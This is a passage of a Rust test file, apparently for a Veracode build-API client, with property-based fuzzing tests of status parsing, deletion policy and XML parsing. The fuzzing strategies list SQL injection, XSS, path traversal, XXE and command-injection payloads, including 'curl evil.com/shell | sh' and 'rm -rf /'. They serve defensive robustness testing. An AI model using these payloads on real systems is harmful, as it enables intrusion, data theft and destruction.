1390 BuildStatus::ResultsReady
1391 );
1392 assert_eq!(
1393 BuildStatus::from_string("Pre-Scan Failed"),
1394 BuildStatus::PreScanFailed
1395 );
1396 assert_eq!(
1397 BuildStatus::from_string("Unknown Status"),
1398 BuildStatus::Unknown("Unknown Status".to_string())
1399 );
1400 }
1401
1402 #[test]
1403 fn test_build_status_to_str() {
1404 assert_eq!(BuildStatus::Incomplete.to_str(), "Incomplete");
1405 assert_eq!(BuildStatus::ResultsReady.to_str(), "Results Ready");
1406 assert_eq!(BuildStatus::PreScanFailed.to_str(), "Pre-Scan Failed");
1407 assert_eq!(
1408 BuildStatus::Unknown("Custom".to_string()).to_str(),
1409 "Custom"
1410 );
1411 }
1412
1413 #[test]
1414 fn test_build_status_deletion_policy_0() {
1415 assert!(!BuildStatus::Incomplete.is_safe_to_delete(0));
1417 assert!(!BuildStatus::ResultsReady.is_safe_to_delete(0));
1418 assert!(!BuildStatus::Failed.is_safe_to_delete(0));
1419 }
1420
1421 #[test]
1422 fn test_build_status_deletion_policy_1() {
1423 assert!(BuildStatus::Incomplete.is_safe_to_delete(1));
1425 assert!(BuildStatus::NotSubmitted.is_safe_to_delete(1));
1426 assert!(BuildStatus::PreScanFailed.is_safe_to_delete(1));
1427 assert!(BuildStatus::Failed.is_safe_to_delete(1));
1428 assert!(BuildStatus::Cancelled.is_safe_to_delete(1));
1429
1430 assert!(!BuildStatus::ResultsReady.is_safe_to_delete(1));
1432 assert!(!BuildStatus::ScanInProcess.is_safe_to_delete(1));
1433 assert!(!BuildStatus::PreScanSuccess.is_safe_to_delete(1));
1434 }
1435
1436 #[test]
1437 fn test_build_status_deletion_policy_2() {
1438 assert!(BuildStatus::Incomplete.is_safe_to_delete(2));
1440 assert!(BuildStatus::Failed.is_safe_to_delete(2));
1441 assert!(BuildStatus::ScanInProcess.is_safe_to_delete(2));
1442 assert!(BuildStatus::PreScanSuccess.is_safe_to_delete(2));
1443
1444 assert!(!BuildStatus::ResultsReady.is_safe_to_delete(2));
1446 }
1447
1448 #[test]
1449 fn test_build_status_deletion_policy_invalid() {
1450 assert!(!BuildStatus::Incomplete.is_safe_to_delete(3));
1452 assert!(!BuildStatus::Failed.is_safe_to_delete(255));
1453 }
1454}
1455
1456#[cfg(test)]
1457#[allow(clippy::expect_used)] mod proptests {
1459 use super::*;
1460 use proptest::prelude::*;
1461
1462 fn arbitrary_status_string() -> impl Strategy<Value = String> {
1464 prop::string::string_regex("[A-Za-z0-9 -]{1,100}")
1465 .expect("valid regex pattern for arbitrary status string")
1466 }
1467
1468 fn valid_lifecycle_stage_strategy() -> impl Strategy<Value = &'static str> {
1470 prop::sample::select(LIFECYCLE_STAGES)
1471 }
1472
1473 fn invalid_lifecycle_stage_strategy() -> impl Strategy<Value = String> {
1475 prop_oneof![
1476 Just("".to_string()),
1478 Just(" ".to_string()),
1479 Just("in development (pre-alpha)".to_string()),
1481 Just("DEPLOYED".to_string()),
1482 Just("In Development".to_string()),
1484 Just("Deployed ".to_string()),
1485 Just(" Maintenance".to_string()),
1486 Just("'; DROP TABLE builds; --".to_string()),
1488 Just("<script>alert('xss')</script>".to_string()),
1489 Just("../../etc/passwd".to_string()),
1491 Just("..\\..\\windows\\system32".to_string()),
1492 Just("Deployed\0".to_string()),
1494 Just("Maintenance\n\r".to_string()),
1495 Just("Deployed\u{202E}".to_string()), Just("Maintenance\u{FEFF}".to_string()), prop::string::string_regex(".{256,512}").expect("valid regex pattern for long strings"),
1500 ]
1501 }
1502
1503 proptest! {
1504 #![proptest_config(ProptestConfig {
1505 cases: if cfg!(miri) { 5 } else { 1000 },
1506 failure_persistence: None,
1507 .. ProptestConfig::default()
1508 })]
1509
1510 #[test]
1512 fn proptest_valid_lifecycle_stages_always_accepted(
1513 stage in valid_lifecycle_stage_strategy()
1514 ) {
1515 prop_assert!(is_valid_lifecycle_stage(stage));
1516 }
1517
1518 #[test]
1520 fn proptest_invalid_lifecycle_stages_always_rejected(
1521 stage in invalid_lifecycle_stage_strategy()
1522 ) {
1523 prop_assert!(!is_valid_lifecycle_stage(&stage));
1524 }
1525
1526 #[test]
1528 fn proptest_build_status_parsing_never_panics(
1529 status in arbitrary_status_string()
1530 ) {
1531 let result = BuildStatus::from_string(&status);
1532 prop_assert!(matches!(result, BuildStatus::Unknown(_)) ||
1534 matches!(result, BuildStatus::Incomplete) ||
1535 matches!(result, BuildStatus::NotSubmitted) ||
1536 matches!(result, BuildStatus::SubmittedToEngine) ||
1537 matches!(result, BuildStatus::ScanInProcess) ||
1538 matches!(result, BuildStatus::PreScanSubmitted) ||
1539 matches!(result, BuildStatus::PreScanSuccess) ||
1540 matches!(result, BuildStatus::PreScanFailed) ||
1541 matches!(result, BuildStatus::PreScanCancelled) ||
1542 matches!(result, BuildStatus::PrescanFailed) ||
1543 matches!(result, BuildStatus::PrescanCancelled) ||
1544 matches!(result, BuildStatus::ScanCancelled) ||
1545 matches!(result, BuildStatus::ResultsReady) ||
1546 matches!(result, BuildStatus::Failed) ||
1547 matches!(result, BuildStatus::Cancelled));
1548 }
1549
1550 #[test]
1552 fn proptest_build_status_roundtrip_consistency(
1553 status in prop::sample::select(vec![
1554 "Incomplete", "Not Submitted", "Submitted to Engine", "Scan in Process",
1555 "Pre-Scan Submitted", "Pre-Scan Success", "Pre-Scan Failed", "Pre-Scan Cancelled",
1556 "Prescan Failed", "Prescan Cancelled", "Scan Cancelled", "Results Ready",
1557 "Failed", "Cancelled"
1558 ])
1559 ) {
1560 let parsed = BuildStatus::from_string(status);
1561 let back_to_str = parsed.to_str();
1562 prop_assert_eq!(back_to_str, status);
1563 }
1564
1565 #[test]
1567 fn proptest_deletion_policy_0_never_deletes(
1568 status in arbitrary_status_string()
1569 ) {
1570 let build_status = BuildStatus::from_string(&status);
1571 prop_assert!(!build_status.is_safe_to_delete(0));
1572 }
1573
1574 #[test]
1576 fn proptest_deletion_policy_monotonicity(
1577 status in arbitrary_status_string(),
1578 policy1 in 0u8..=2,
1579 policy2 in 0u8..=2
1580 ) {
1581 let build_status = BuildStatus::from_string(&status);
1582
1583 if policy1 <= policy2 && build_status.is_safe_to_delete(policy1) {
1585 prop_assert!(build_status.is_safe_to_delete(policy2));
1586 }
1587 }
1588
1589 #[test]
1591 fn proptest_results_ready_never_deletable(policy in 0u8..=2) {
1592 prop_assert!(!BuildStatus::ResultsReady.is_safe_to_delete(policy));
1593 }
1594
1595 #[test]
1597 fn proptest_invalid_deletion_policy_safe_default(
1598 status in arbitrary_status_string(),
1599 policy in 3u8..=255
1600 ) {
1601 let build_status = BuildStatus::from_string(&status);
1602 prop_assert!(!build_status.is_safe_to_delete(policy));
1603 }
1604
1605 #[test]
1607 fn proptest_lifecycle_stage_validation_consistency(
1608 stage in prop::string::string_regex(".{0,200}")
1609 .expect("valid regex pattern for lifecycle stage")
1610 ) {
1611 let is_valid = is_valid_lifecycle_stage(&stage);
1612
1613 if is_valid {
1615 prop_assert!(LIFECYCLE_STAGES.contains(&stage.as_str()));
1616 }
1617
1618 if !LIFECYCLE_STAGES.contains(&stage.as_str()) {
1620 prop_assert!(!is_valid);
1621 }
1622 }
1623 }
1624}
1625
1626#[cfg(test)]
1627mod api_request_fuzzing_proptests {
1628 use super::*;
1629 use proptest::prelude::*;
1630
1631 fn malicious_app_id_strategy() -> impl Strategy<Value = String> {
1633 prop_oneof![
1634 Just("'; DROP TABLE apps; --".to_string()),
1636 Just("' OR '1'='1".to_string()),
1637 Just("1 UNION SELECT * FROM users--".to_string()),
1638 Just("<script>alert('xss')</script>".to_string()),
1640 Just("javascript:alert(1)".to_string()),
1641 Just("\"><script>alert(String.fromCharCode(88,83,83))</script>".to_string()),
1642 Just("../../../etc/passwd".to_string()),
1644 Just("..\\..\\..\\windows\\system32\\config\\sam".to_string()),
1645 Just("; rm -rf /".to_string()),
1647 Just("| cat /etc/shadow".to_string()),
1648 Just("& net user hacker password /add".to_string()),
1649 Just("123\0malicious".to_string()),
1651 Just("%s%s%s%s%s%s%s%s%s%s".to_string()),
1653 Just("%n%n%n%n%n".to_string()),
1654 Just("*)(uid=*))(|(uid=*".to_string()),
1656 Just("{\"$ne\": null}".to_string()),
1658 Just("{\"$gt\": \"\"}".to_string()),
1659 Just("".to_string()),
1661 Just(" ".to_string()),
1662 prop::string::string_regex(".{1000,5000}")
1664 .expect("valid regex pattern for very long strings"),
1665 Just("\u{FEFF}123".to_string()), Just("123\u{200B}".to_string()), Just("\u{202E}123\u{202D}".to_string()), Just("123\r\n456".to_string()),
1671 Just("123\t456\n789".to_string()),
1672 ]
1673 }
1674
1675 fn malicious_version_strategy() -> impl Strategy<Value = String> {
1677 prop_oneof![
1678 Just("../../../etc/passwd".to_string()),
1680 Just("..\\..\\..\\windows\\system32".to_string()),
1681 Just("1.0.0; curl evil.com/shell | sh".to_string()),
1683 Just("1.0`whoami`".to_string()),
1684 Just("1.0$(reboot)".to_string()),
1685 Just("<img src=x onerror=alert(1)>".to_string()),
1687 prop::string::string_regex(".{500,1000}")
1689 .expect("valid regex pattern for long version strings"),
1690 Just("\0\0\0".to_string()),
1692 Just("'\"\\n\\r\\t".to_string()),
1693 Just("\u{FEFF}1.0.0".to_string()),
1695 ]
1696 }
1697
1698 fn malicious_date_strategy() -> impl Strategy<Value = String> {
1700 prop_oneof![
1701 Just("2024-13-45".to_string()), Just("99/99/9999".to_string()),
1704 Just("00/00/0000".to_string()),
1705 Just("12/31/2024'; DROP TABLE dates; --".to_string()),
1707 Just("%s%s%s%s".to_string()),
1709 Just("12/31/2024; cat /etc/passwd".to_string()),
1711 prop::string::string_regex(".{100,500}")
1713 .expect("valid regex pattern for long date strings"),
1714 Just("-1/-1/-1".to_string()),
1716 Just("99999999/99999999/99999999".to_string()),
1718 ]
1719 }
1720
1721 proptest! {
1722 #![proptest_config(ProptestConfig {
1723 cases: if cfg!(miri) { 5 } else { 500 },
1724 failure_persistence: None,
1725 .. ProptestConfig::default()
1726 })]
1727
1728 #[test]
1730 fn proptest_create_build_request_malicious_input_safety(
1731 app_id in malicious_app_id_strategy(),
1732 version in malicious_version_strategy(),
1733 launch_date in malicious_date_strategy()
1734 ) {
1735 let request = CreateBuildRequest {
1737 app_id: app_id.clone(),
1738 version: Some(version.clone()),
1739 lifecycle_stage: Some("In Development (pre-Alpha)".to_string()),
1740 launch_date: Some(launch_date.clone()),
1741 sandbox_id: None,
1742 };
1743
1744 prop_assert_eq!(request.app_id, app_id);
1746 prop_assert_eq!(request.version, Some(version));
1747 prop_assert_eq!(request.launch_date, Some(launch_date));
1748 }
1749
1750 #[test]
1752 fn proptest_update_build_request_malicious_input_safety(
1753 app_id in malicious_app_id_strategy(),
1754 build_id in malicious_app_id_strategy(),
1755 version in malicious_version_strategy()
1756 ) {
1757 let request = UpdateBuildRequest {
1758 app_id: app_id.clone(),
1759 build_id: Some(build_id.clone()),
1760 version: Some(version.clone()),
1761 lifecycle_stage: None,
1762 launch_date: None,
1763 sandbox_id: None,
1764 };
1765
1766 prop_assert_eq!(request.app_id, app_id);
1767 prop_assert_eq!(request.build_id, Some(build_id));
1768 prop_assert_eq!(request.version, Some(version));
1769 }
1770
1771 #[test]
1773 fn proptest_delete_build_request_malicious_input_safety(
1774 app_id in malicious_app_id_strategy(),
1775 sandbox_id in malicious_app_id_strategy()
1776 ) {
1777 let request = DeleteBuildRequest {
1778 app_id: app_id.clone(),
1779 sandbox_id: Some(sandbox_id.clone()),
1780 };
1781
1782 prop_assert_eq!(request.app_id, app_id);
1783 prop_assert_eq!(request.sandbox_id, Some(sandbox_id));
1784 }
1785
1786 #[test]
1788 fn proptest_lifecycle_stage_rejects_malicious_input(
1789 malicious_stage in prop_oneof![
1790 malicious_app_id_strategy(),
1791 malicious_version_strategy(),
1792 Just("'; DROP TABLE stages; --".to_string()),
1793 Just("<script>alert('xss')</script>".to_string()),
1794 ]
1795 ) {
1796 let is_valid = is_valid_lifecycle_stage(&malicious_stage);
1799
1800 if is_valid {
1801 prop_assert!(LIFECYCLE_STAGES.contains(&malicious_stage.as_str()));
1803 } else {
1804 prop_assert!(!LIFECYCLE_STAGES.contains(&malicious_stage.as_str()));
1806 }
1807 }
1808
1809 #[test]
1811 fn proptest_build_structure_malicious_attributes(
1812 key in malicious_version_strategy(),
1813 value in malicious_app_id_strategy()
1814 ) {
1815 let mut build = Build {
1816 build_id: "123".to_string(),
1817 app_id: "456".to_string(),
1818 version: None,
1819 app_name: None,
1820 sandbox_id: None,
1821 sandbox_name: None,
1822 lifecycle_stage: None,
1823 launch_date: None,
1824 submitter: None,
1825 platform: None,
1826 analysis_unit: None,
1827 policy_name: None,
1828 policy_version: None,
1829 policy_compliance_status: None,
1830 rules_status: None,
1831 grace_period_expired: None,
1832 scan_overdue: None,
1833 policy_updated_date: None,
1834 legacy_scan_engine: None,
1835 attributes: HashMap::new(),
1836 };
1837
1838 build.attributes.insert(key.clone(), value.clone());
1840
1841 prop_assert_eq!(build.attributes.get(&key), Some(&value));
1843 }
1844
1845 #[test]
1847 fn proptest_build_error_display_safety(
1848 msg in malicious_app_id_strategy()
1849 ) {
1850 let errors = vec![
1851 BuildError::InvalidParameter(msg.clone()),
1852 BuildError::CreationFailed(msg.clone()),
1853 BuildError::UpdateFailed(msg.clone()),
1854 BuildError::DeletionFailed(msg.clone()),
1855 BuildError::XmlParsingError(msg.clone()),
1856 ];
1857
1858 for error in errors {
1859 let _ = error.to_string();
1861 let _ = format!("{error}");
1862 }
1863 }
1864
1865 #[test]
1867 fn proptest_build_status_unknown_variant_safety(
1868 arbitrary_status in malicious_app_id_strategy()
1869 ) {
1870 let status = BuildStatus::Unknown(arbitrary_status.clone());
1871
1872 let str_repr = status.to_str();
1874 prop_assert_eq!(str_repr, arbitrary_status.as_str());
1875
1876 let _ = status.to_string();
1878 let _ = format!("{status}");
1879
1880 let _ = status.is_safe_to_delete(0);
1882 let _ = status.is_safe_to_delete(1);
1883 let _ = status.is_safe_to_delete(2);
1884 }
1885 }
1886}
1887
1888#[cfg(test)]
1889mod xml_parsing_proptests {
1890 use super::*;
1891 use crate::{VeracodeClient, VeracodeConfig};
1892 use proptest::prelude::*;
1893
1894 fn malicious_xml_strategy() -> impl Strategy<Value = String> {
1896 prop_oneof![
1897 Just(r#"<?xml version="1.0"?>
1899<!DOCTYPE lolz [
1900 <!ENTITY lol "lol">
1901 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
1902]>
1903<build build_id="&lol2;" app_id="123"/>"#.to_string()),
1904
1905 Just(r#"<?xml version="1.0"?>
1907<!DOCTYPE build [
1908 <!ENTITY xxe SYSTEM "file:///etc/passwd">
1909]>
1910<build build_id="&xxe;" app_id="123"/>"#.to_string()),
1911
1912 Just("<build build_id=\"123\" app_id=\"456\"".to_string()),
1914 Just("<build build_id=\"123\"><invalid></build>".to_string()),
1915
1916 Just(r#"<build build_id="<script>alert('xss')</script>" app_id="123"/>"#.to_string()),
1918 Just(r#"<build build_id="123" version="<script>alert('xss')</script>"/>"#.to_string()),
1919
1920 Just(r#"<build build_id="'; DROP TABLE builds; --" app_id="123"/>"#.to_string()),
1922
1923 Just(r#"<build build_id="../../etc/passwd" app_id="123"/>"#.to_string()),
1925
1926 Just("<build build_id=\"123\0\" app_id=\"456\"/>".to_string()),
1928 Just("<build build_id=\"123\r\n\" app_id=\"456\"/>".to_string()),
1929
1930 Just("<build build_id=\"123\u{202E}\" app_id=\"456\"/>".to_string()),
1932
1933 Just("<build/>".to_string()),
1935 Just("<build build_id=\"\"/>".to_string()),
1936 Just("<build app_id=\"\"/>".to_string()),
1937
1938 Just("<a><b><c><d><e><f><g><h><i><j><build build_id=\"123\" app_id=\"456\"/></j></i></h></g></f></e></d></c></b></a>".to_string()),
1940
1941 prop::string::string_regex(".{1000,2000}")
1943 .expect("valid regex pattern for very long XML attributes")
1944 .prop_map(|s| format!(r#"<build build_id="{s}" app_id="123"/>"#)),
1945 ]
1946 }
1947
1948 proptest! {
1949 #![proptest_config(ProptestConfig {
1950 cases: if cfg!(miri) { 5 } else { 500 },
1951 failure_persistence: None,
1952 .. ProptestConfig::default()
1953 })]
1954
1955 #[test]
1957 fn proptest_xml_parsing_never_panics_on_malicious_input(
1958 xml in malicious_xml_strategy()
1959 ) {
1960 let config = VeracodeConfig::new("test_id", "test_key");
1961 let client = VeracodeClient::new(config)
1962 .expect("valid test client configuration");
1963 let api = BuildApi::new(client);
1964
1965 let result = api.parse_build_info(&xml);
1967 prop_assert!(result.is_ok() || result.is_err());
1968 }
1969
1970 #[test]
1972 fn proptest_xml_error_handling(
1973 error_msg in prop::string::string_regex(".{1,200}")
1974 .expect("valid regex pattern for error messages")
1975 ) {
1976 let xml = format!("<error>{error_msg}</error>");
1977 let config = VeracodeConfig::new("test_id", "test_key");
1978 let client = VeracodeClient::new(config)
1979 .expect("valid test client configuration");
1980 let api = BuildApi::new(client);
1981
1982 let result = api.parse_build_info(&xml);
1983
1984 prop_assert!(result.is_err());
1986 }
1987
1988 #[test]
1991 fn proptest_minimal_valid_xml_parsing(
1992 build_id in "[0-9]{1,10}",
1993 app_id in "[0-9]{1,10}"
1994 ) {
1995 let xml = format!(r#"<build build_id="{build_id}" app_id="{app_id}"></build>"#);
1996 let config = VeracodeConfig::new("test_id", "test_key");
1997 let client = VeracodeClient::new(config)
1998 .expect("valid test client configuration");
1999 let api = BuildApi::new(client);
2000
2001 let result = api.parse_build_info(&xml);
2002
2003 prop_assert!(result.is_ok());
2004 if let Ok(build) = result {
2005 prop_assert_eq!(build.build_id, build_id);
2006 prop_assert_eq!(build.app_id, app_id);
2007 }
2008 }
2009
2010 #[test]
2012 fn proptest_empty_build_list_parsing(
2013 app_id in "[0-9]{1,10}"
2014 ) {
2015 let xml = format!(r#"<buildlist app_id="{app_id}"></buildlist>"#);
2016 let config = VeracodeConfig::new("test_id", "test_key");
2017 let client = VeracodeClient::new(config)
2018 .expect("valid test client configuration");
2019 let api = BuildApi::new(client);
2020
2021 let result = api.parse_build_list(&xml);
2022
2023 prop_assert!(result.is_ok());
2024 if let Ok(build_list) = result {
2025 prop_assert_eq!(build_list.app_id, app_id);
2026 prop_assert_eq!(build_list.builds.len(), 0);
2027 }
2028 }
2029
2030 #[test]
2032 fn proptest_date_parsing_safety(
2033 date_str in prop::string::string_regex(".{0,100}")
2034 .expect("valid regex pattern for date strings")
2035 ) {
2036 use chrono::NaiveDate;
2038 let _ = NaiveDate::parse_from_str(&date_str, "%m/%d/%Y");
2039 }
2041
2042 #[test]
2044 fn proptest_boolean_parsing_safety(
2045 bool_str in prop::string::string_regex(".{0,50}")
2046 .expect("valid regex pattern for boolean strings")
2047 ) {
2048 let _ = bool_str.parse::<bool>();
2050 }
2052 }
2053}
2054
2055#[cfg(test)]
2056#[allow(clippy::expect_used)] mod deletion_safety_proptests {
2058 use super::*;
2059 use proptest::prelude::*;
2060
2061 proptest! {
2062 #![proptest_config(ProptestConfig {
2063 cases: if cfg!(miri) { 5 } else { 1000 },
2064 failure_persistence: None,
2065 .. ProptestConfig::default()
2066 })]
2067
2068 #[test]
2070 fn proptest_policy_1_only_deletes_safe_states(
2071 status_str in prop::string::string_regex("[A-Za-z0-9 -]{1,100}")
2072 .expect("valid regex pattern for status strings")
2073 ) {
2074 let status = BuildStatus::from_string(&status_str);
2075 let is_deletable = status.is_safe_to_delete(1);
2076
2077 if is_deletable {
2079 prop_assert!(matches!(
2080 status,
2081 BuildStatus::Incomplete
2082 | BuildStatus::NotSubmitted
2083 | BuildStatus::PreScanFailed
2084 | BuildStatus::PreScanCancelled
2085 | BuildStatus::PrescanFailed
2086 | BuildStatus::PrescanCancelled
2087 | BuildStatus::ScanCancelled
2088 | BuildStatus::Failed
2089 | BuildStatus::Cancelled
2090 ));
2091 }
2092 }
2093
2094 #[test]
2096 fn proptest_policy_2_never_deletes_results_ready(
2097 _dummy in 0u8..1 ) {
2099 prop_assert!(!BuildStatus::ResultsReady.is_safe_to_delete(2));
2100 }
2101
2102 #[test]
2104 fn proptest_unknown_status_safe_default_policy_1(
2105 unknown_status in prop::string::string_regex("[A-Za-z0-9 ]{1,100}")
2106 .expect("valid regex pattern for unknown status strings")
2107 .prop_filter("Must not match known statuses", |s| {
2108 !matches!(s.as_str(),
2109 "Incomplete" | "Not Submitted" | "Submitted to Engine" | "Scan in Process" |
2110 "Pre-Scan Submitted" | "Pre-Scan Success" | "Pre-Scan Failed" | "Pre-Scan Cancelled" |
2111 "Prescan Failed" | "Prescan Cancelled" | "Scan Cancelled" | "Results Ready" |
2112 "Failed" | "Cancelled"
2113 )
2114 })
2115 ) {
2116 let status = BuildStatus::from_string(&unknown_status);
2117
2118 prop_assert!(!status.is_safe_to_delete(1));
2120 }
2121
2122 #[test]
2124 fn proptest_scan_in_process_not_deletable_policy_1(
2125 _dummy in 0u8..1
2126 ) {
2127 prop_assert!(!BuildStatus::ScanInProcess.is_safe_to_delete(1));
2128 }
2129
2130 #[test]
2132 fn proptest_prescan_success_not_deletable_policy_1(
2133 _dummy in 0u8..1
2134 ) {
2135 prop_assert!(!BuildStatus::PreScanSuccess.is_safe_to_delete(1));
2136 }
2137 }
2138}